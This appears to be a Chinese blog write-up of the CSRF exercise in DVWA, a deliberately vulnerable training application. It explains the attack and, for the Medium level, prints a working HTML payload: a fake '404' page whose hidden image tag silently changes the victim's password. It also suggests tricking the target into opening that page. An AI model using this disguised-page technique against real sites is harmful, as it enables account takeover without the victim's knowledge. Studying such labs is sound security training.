CSRF 跨站请求伪造丨DVWA

CSRF

CSRF(Cross-site request forgery)跨站请求伪造,是指利用受害者尚未失效的身份认证信息,诱骗其点击恶意链接或访问包含攻击代码的页面,在受害者不知情的情况下以受害者的身份向服务器发送请求,从而完成非法操作。

举个例子,假设 QQ 空间存在这种漏洞,那么我在你的留言板留下一个恶意链接,你点击之后就等于我发起了一次攻击。


破解思路

Low Level 的比较简单,抓包分析一下 GET 请求,然后替换参数就实现了。

Medium Level 通过分析其代码,发现在服务器端会跟 HTTP 请求头部中的 Referer 进行比较。
这里要插一句,我在网上看到好多教学中用 python 来实现这个级别,额,我想说这样似乎逻辑上不太对吧?用 python 构造 HTTP 请求并修改 referer 确实容易,但总感觉怪怪的,除非把 python 代码封装成 exe 上传到目标服务器,再诱骗管理员或用户执行。

好了,其实这里还有种常规的做法,就是构造 HTML 文件(文件名需命名为 xxx.html,其中 xxx 代表目标 Host),并上传到目标服务器,以下是代码:

1
2
3
4
5
6
7
8
9
<html>
    <head>
    </head>
    <body>
        <img src="http://IPaddr/DVWA/vulnerabilities/csrf/?password_new=PASS&password_conf=PASS&Change=Change" border="0" style="display:none;" />
        <h1>404<h1>
        <h2>File not found.</h2>
    </body>
</html>

之后诱骗对方点击就可以啦!
根据 Web 访问机制,对方点击访问该页面后,由于页面内嵌了隐藏的图片资源,所以浏览器会自动访问<img>标签中的链接,从而达到利用漏洞的目的。



Leave a Reply

Your email address will not be published. Required fields are marked *